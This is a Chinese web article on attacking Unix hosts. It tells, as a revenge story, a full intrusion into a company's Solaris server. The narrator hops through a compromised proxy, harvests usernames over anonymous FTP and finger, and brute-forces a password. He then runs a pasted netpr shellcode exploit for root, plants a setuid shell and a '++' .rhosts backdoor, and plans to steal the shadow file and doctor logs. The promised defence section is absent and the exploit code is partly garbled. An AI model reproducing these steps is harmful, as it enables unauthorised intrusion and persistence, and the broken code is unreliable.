快捷搜索:   nginx

Unix系统的攻击和防范

  §.前言

  这篇文章主要针对一些对网络安全感兴趣、同时又还不怎么熟悉Unix入侵和防范的朋友们而写的一篇文章。本文循序渐进地介绍了黑客攻击Unix主机的主要方法和系统管理员如何针对这些方法进行有效的防御等。

  §.Unix的特点

  Unix能流行起来绝对不是偶然的,这跟Unix本身的特点之突出是分不开的特点,那就是:1、极强的可移植性;2、启动异步进程的能力;3、一致的文件、设备和进程间I/O;5、层次化的文件系统;6、可用其它Shell来替代默认Shell的能力; 7、真正的多用户和多任务。

  列位注意,通常的Unix系统用户有两种:根用户和普通用户。

  1.root——根用户

  这是SuperUser(超级用户)的帐号,可以用这个帐号对本系统进行所有操作!获得对系统的根访问权限,也是黑客们拼命追求的终极目标。

  2.普通用户

  给User(普通用户)使用,具体权限由root分配的账户。可以有多个等级。黑客们多由此类账户开始试图进入系统,如下例就是如此。

  §.攻击Unix系统的范例

  先补了一些关于Unix的知识,下面我们要开始小试牛刀了。我们的攻击平台是一台安装了Redhat 6.0(内核版本2.2.5-15)的工作站(当然Win9x/Win2000上也可以试试啰!)。

  声明:本文中的目标主机的IP分别是202.202.0.8、202.103.10.110和211.50.33.117,以上IP纯属本人杜撰。如该IP所属主机确实存在,则纯属巧合。

  开始啦!

  “又死机了!这是什么烂东西?可恶!”我愤怒地猛击键盘“还号称全智能化软件……给您‘身临其境的美妙体验’……,完全是放P!”我怒吼着。才买几天的英语学习软件就频频死机,而且花去了不菲的xxx大元人民币,使我有一种彻底受骗的感觉。“你这个骗子,我非要给你点厉害看看,看你还到处骗人!”我一边愤愤地叫着,一边抄下了包装盒上那个“骗子”软件公司的网址:www.shitsoft.com.cn 。当夜无话。

  第二天。忙了一早上,直到中午吃完中餐后才闲下来,众人皆昏昏然欲见周公,我则坐到我的红帽子旁,开始了正义的惩罚……

  首先找一台Proxy,这样就不会被反查法给抓到了。^_^ 不知原来那台韩国的“公鸡”还在不在?试一试:

  bash# telnet 211.50.33.117

  Red Hat Linux release 6.2 (Goozer)

  Kernel 2.2.14-5.0 on an i686

  login:crossbow

  password:

  bash$

  Ok! 还可以用,这么长时间没有理它,竟然还可以用!韩国的管理员真是太“好”了!^_^ 接着ping一下我们的目标,看看它长得啥模样:

  bash$ pwd

  /home/crossbow

  bash$ ping www.shitsoft.com.cn

  Pinging www.shitsoft.com.cn [202.202.0.8] with 32 bytes of data:

  Reply from 202.202.0.8: bytes=32 time<10ms TTL=245

  Reply from 202.202.0.8: bytes=32 time<10ms TTL=245

  Reply from 202.202.0.8: bytes=32 time<10ms TTL=245

  Reply from 202.202.0.8: bytes=32 time<10ms TTL=245

  Ping statistics for 202.202.0.8:

  Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),

  Approximate round trip times in milli-seconds:

  Minimum = 0ms, Maximum = 0ms, Average = 0ms

  速度不慢,看IP是中国教育网的机器,从TTL看估计是一台Unix。验证一下:

  bash$ telnet 202.202.0.8

  SunOS 5.6

  login:

  呵呵,是一台SunOS 5.6的烂机器。先猜猜看:

  login:adm

  password:

  Login incorrect

  login:oracle

  password:

  Login incorrect

  login:ftp

  password:

  Login incorrect

  ^C

  可恶!今天火气真差!一个没猜到。:-( 用messala扫描一下看有没有CGI漏洞:(略去复杂的扫描过程)………… 结果是滴水不漏!:-( 这个鸟管理员还挺勤快的…… 只好用nss看看它开了什么服务吧!…………还好,telnet、ftp和finger的端口都打开了!^_^ 先看看有没有匿名ftp账户:

  bash$ ftp 202.202.0.8

  Connected to 202.202.0.8...

  220 Cool FTP server(Version xxx Tue Dec 8 12:42:10 CDT 2001) ready.

  Name(202.202.0.8:FakeName):anonymous

  331 Guest login ok,send you complete e-mail address as password.

  Password:

  230:Welcome,archive user!

  …………

  …………

  …………

  ftp>

  还行,匿名ftp服务没有关,竟然可以用anonymous账户进来了!赶紧抓他的passwd:

  ftp>ls

  …………

  bin boot etc dev home lib usr proc lost+found root sbin src tmp usr var

  …………

  ftp>cd /etc

  …………

  ftp>ls *passwd*

  …………

  passwd passwd-

  …………

  不会如此简单吧?看一看?:

  ftp>cat passwd|more

  …………

  root:x:0:1:Super-User:/:/sbin/sh

  daemon:x:1:1::/:

  bin:x:2:2::/usr/bin:

  sys:x:3:3::/:

  adm:x:4:4:Admin:/var/adm:

  f="telnet:x:71:8:Line">telnet:x:71:8:Line Printer Admin:/usr/spool/lp:

  uucp:x:5:5:uucp Admin:/usr/lib/uucp:

  nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico

  listen:x:37:4:Network Admin:/usr/net/nls:

  ftp:60001:60001:Ftp:/:

  noaccess:x:60002:60002:No Access User:/:

  nobody:x:65534:65534:SunOS 4.x Nobody:/:

  dennis:x:1005:20::/export/home/dennis:/bin/sh

  walter:x:1001:100::/export/home/walter:/bin/sh

  power:x:9589:101::/export/home/power:/bin/sh

  deal:x:1035:20::/export/home/deal:/bin/sh

  jessica:x:3000:300:Agent Client 1:/export/home/jessica:/bin/sh

  smith:x:3001:300:Agent Client 2:/export/home/smith:/bin/sh

  render:x:9591:101::/export/home/render:/bin/sh

  …………

  倒霉,是个空的passwd!看看备份:

  ftp>cat passwd-|more

  …………

  root:x:0:1:Super-User:/:/sbin/sh

  daemon:x:1:1::/:

  bin:x:2:2::/usr/bin:

  sys:x:3:3::/:

  adm:x:4:4:Admin:/var/adm:

  "telnet:x:71:8:Line">telnet:x:71:8:Line Printer Admin:/usr/spool/lp:

  uucp:x:5:5:uucp Admin:/usr/lib/uucp:

  nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico

  listen:x:37:4:Network Admin:/usr/net/nls:

  ftp:60001:60001:Ftp:/:

  noaccess:x:60002:60002:No Access User:/:

  nobody :x:65534:65534:SunOS 4.x Nobody:/:

  dennis:x:1005:20::/export/home/dennis:/bin/sh

  walter:x:1001:100::/export/home/walter:/bin/sh

  power:x:9589:101::/export/home/power:/bin/sh

  deal:x:1035:20::/export/home/deal:/bin/sh

  jessica:x:3000:300:Agent Client 1:/export/home/jessica:/bin/sh

  smith:x:3001:300:Agent Client 2:/export/home/smith:/bin/sh

  render:x:9591:101::/export/home/render:/bin/sh

  …………

  没救了,一样的!查查看有没有shadow文件:

  ftp>ls *shadow*

  …………

  shadow shadow-

  …………

  哈哈,一般passwd是空的,那么密码就在shadow中!

  ftp>cat shadow|more

  …………

  [sh$ cat shadow|more]: Permission denied

  …………

  可恶,看都不让看,试试备份文件:

  ftp>cat shadow-|more

  …………

  [sh$ cat shadow-|more]: Permission denied

  …………

  都一样——不让看!Faint! 只好可怜惜惜地把空passwd抓回来——有几个用户名总比没有强吧?

  ftp>get passwd

  226 Transfer complete.

  540 bytes received in 0.55 seconds (1.8Kbytes/s)

  ftp>bye

  221 Goodbye.

  bash$

  研究一下,除去root和被关掉的账号,还有七个可用账号:dennis、walter、power、deal、jessica、smith和render,他们就是我们进入该主机最后的希望。^_^ finger上场!

  bash$ finger @202.202.0.8

  [202.202.0.8 ]

  LoginNameTTY Idle When Where

  daemon??? < . . . . >

  bin  ??? < . . . . >

  sys  ??? < . . . . >

  walterWalter Wan pts/0202.202.0.114

  dennisDennis Lee 437 888wnet.net

  power Power Xiong 0 202.202.0.10

  deal H Wang pts/2202.202.0.11

  admin ???< . . . . >

  jessica Jessica Xiaopts/0202.202.0.9

  smithSmith Liu  pts/0202.202.0.13

  render  Render pts/0202.103.10.117

  ftp  ???< . . . . >

  好!我需要的Name出来了,赶快保存:

  bash$ finger @202.202.0.8 >> /home/crossbow/name.lst

  bash$ more /home/crossbow/name.lst

  [202.202.0.8 ]

  Login NameTTYIdle When Where

  daemon ???< . . . . >

  bin???< . . . . >

  sys???< . . . . >

  walterWalter Wanpts/0  202.202.0.114

  dennisDennis Lee 437888wnet.net

  powerPower Xiong0 202.202.0.10

  deal H Wang  pts/2 202.202.0.11

  admin ??? pts/0 < . . . . >

  jessicaJessica Xiao pts/0 202.202.0.9

  smith Smith Liu  pts/0 202.202.0.13

  renderRender Chen 0202.103.10.117

  ftp???< . . . . >

  由于很多人都用自己的姓名及变体作密码,我们就用他们的用户名、姓、和数字的各种组合试一试,成功率应该不低。这里我用一个我自己用C写的程序——got!来跑吧。got!它自己会用用户的姓、名和0-9数字的各种组合来尝试模拟telnet登陆,省时省力。^_^ 不过这种暴力破解法会在目标机的日志上留下痕迹。:-( 因此后面进去后一定记得把日志“加工”一下。它的用法是:got! -n 用户的姓 目标机器 用户名,你也可以用-f来指定字典文件暴力穷举。

  bash$ got! -n wan 202.202.0.8 walter

  Attempting...

  N分钟以后…………

  Failed!

  bash$

  见鬼!失败了一个,再试下一个:

  bash$ got! -n lee 202.202.0.8 dennis

  Attempting...

  Failed!

  bash$

  再次失败,已经浪费了不少时间了!:-(“失败是成功之母”,不要灰心,接着来:

  bash$ got! -n xiong 202.202.0.8 Power

  Attempting...

  Bingo!!!

  The password of user 'power' is 'xiong99'! Good luck!

  bash$

  哈哈,得手了!终于搞到一个账户了——用户名:power;密码:xiong99。赶快用telnet吧!

  bash$ telnet 202.202.0.8

  SunOS 5.6

  login:power

  password:

  Last login: Sun Dec 2 13:21:55 CDT 2001 from 202.202.0.10

  Sun Microsystems Inc. SunOS 5.6

  You have mail.

  进来了!这个用户不久前还登陆过嘛!不过千万不要看mail,先看看现在有几个人:

  $ w

  13:07pm up 61 day(s), 3 users, …………

  User tty login@ idle JCPU PCPU what

  root pts/0 11:49am tail -f syslog

  smith pts/5 12:13pmls -l *.c

  power pts/7 13:07pm w

  乖乖,管理员正在检查日志!可得小心点!看看这台Sun的版本细节:

  $ uname -a

  SunOS dev01 5.6 Generic_105181-19 sun4u sparc SUNW,Ultra-5_10

  在看看这个用户的环境设置:

  $ set

  HOME=/export/home/power

  HZ=100

  IFS=

  LOGNAME=power

  MAIL=/var/mail/power

  MAILCHECK=600

  OPTIND=1

  PATH=/usr/bin:

  PS1=$

  PS2=>

  SHELL=/bin/sh

  TERM=ansi

  TZ=China

  再看看有没有gcc,没有这玩艺,那就f="mailto:……@#$%">……@#$%^&*!

  $ gcc

  gcc: No input files.

  不错,编译器还“健在”,没被删掉。现在,我们就开始溢出吧!^_^

  $ cd

  $ pwd

  $ /export/home/power

  $ mkdir ...

  $ cd ...

  $ vi ./.of.c

  f="file://Here">file://Here is the C source code for overflow in SunOS.

  #include

  #include

  #include

  #include

  #include

  #define NOPNUM 4000

  #define ADRNUM 1200

  #define ALLIGN 3

  char shellcode[]=

  "\x20\xbf\xff\xff" /* bn,a */

  "\x20\xbf\xff\xff" /* bn,a */

  "\x7f\xff\xff\xff" /* call */

  "\x90\x03\xe0\x20" /* add %o7,32,%o0 */

  "\x92\x02\x20\x10" /* add %o0,16,%o1 */

  "\xc0\x22\x20\x08" /* st %g0,[%o0+8] */

  "\xd0\x22\x20\x10" /* st %o0,[%o0+16] */

  "\xc0\x22\x20\x14" /* st %g0,[%o0+20] */

  "\x82\x10\x20\x0b" /* mov 0xb,%g1 */

  "\x91\xd0\x20\x08" /* ta 8 */

  "/bin/ksh";

  char jump[]=

  "\x81\xc3\xe0\x08" /* jmp %o7+8 */

  "\x90\x10\x00\x0e"; /* mov %sp,%o0 */

  static char nop[]="\x80\x1c\x40\x11";

  main(int argc,char **argv)

  {

  char buffer[10000],adr[4],*b,*envp[2];

  int i;

  printf("copyright LAST STAGE OF DELIRIUM dec 1999 poland "file://lsd-pl.net/ ">file://lsd-pl.net/ <");

  printf("/usr/lib/lp/bin/netpr solaris 2.7 sparc ");

  if(argc==1)

  {

  printf("usage: %s lpserver ",argv[0]);

  exit(-1);

  }

  *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+7124+2000;

  envp[0]=&buffer[0];

  envp[1]=0;

  b=&buffer[0];

  sprintf(b,"xxx=");

  b+=4;

  for(i=0;i<1+4-((strlen(argv[1])%4));i++) *b++=0xff;

  for(i=0;i<1+4-((strlen(argv[1])%4));i++) *b=0;

  b=&buffer[5000];

  for(i=0;i<1+4-((strlen(argv[1])%4));i++) *b=0;

  execle("/usr/lib/lp/bin/netpr","lsd","-I","bzz-z","-U","x!x","-d",argv[1],

  "-p",&buffer[5000],"/bin/sh",0,envp);

  }

  上面我们建立一个隐藏目录“...”,再建立一个隐藏的源代码文件“.of.c”。接着输入一大串代码,最后按:wq保存并退出vi。我们看看源代码是否生成了:

  $ ls -al

  total 1330

  drw-rw-rw- 7 power user 1999 Jul 4 19:07 .

  drw-r--r-- 35 root root 1999 Jun 29 16:52 ..

  -rw-rw-r-- 1 power user 2001 Dec 8 13:15 .of.c

  Ok! 现在编译链接吧!^_^

  $ gcc -o .of .of.c

  .of.c:17: malformed floating constant

  .of.c:18: malformed floating constant

  .of.c:23: nondigits in number and not hexadecimal

  …………

  …………

  gcc:[$ Error 2 $]

  $

  ???怎么出错了?!估计是有地方敲错了。只好先用gdb调试,再用vi来修改了,真麻烦!(略去调试过程)…………终于改完了,编译试一试:

  $ gcc -o .of .of.c

  $

  幸好没出错。Run一下啰…………别慌!看看root还在不在:

  $ w

  13:31pm up 61 day(s), 1 user, …………

  User tty login@ idle JCPU PCPU what

  power pts/7 13:07pm w

  就我一个人了?估计忙了一早上,他们肯定饿坏了,都去吃饭去了吧!^_^

  $ ./.of

  usage: ./.of lpserver

  $ ./of localhost

  #

  哈哈!成功了!看见提示符变成“#”没有?这就是root的特权标志!

  # whoami

  root

  #

  没错了!哈哈!开始我们的“工作”吧:^_^

  # rm -fr ./.of.c

  # mkdir /usr/man/man1/...

  # cp /bin/ksh /usr/man/man1/.../.zsh

  # chmod +s /usr/man/man1/.../.zsh

  首先删掉了源代码文件,然后在/usr/man/man1/下建立一个隐藏目录“...”,把ksh这个shell拷过去隐藏起来,并把属性改成-rwsr-sr--。这是个简单的后门,下次我一进来执行它就可以root了,省时省力。^_^

  # cd ..

  # cd ..

  # pwd

  /export/home

  # ls

  dennis walter power deal jessica smith render

  # cd render

  # echo '++' >./.rhosts

  # ls -l

  ………… .rhosts …………

  #

  好,又在render的home里建了一个可以远程登陆的后门。下面把这台主机的shadow传回去,以后可以用John多跑一些密码出来:^_^

顶(0)
踩(0)

您可能还会对下面的文章感兴趣:

最新评论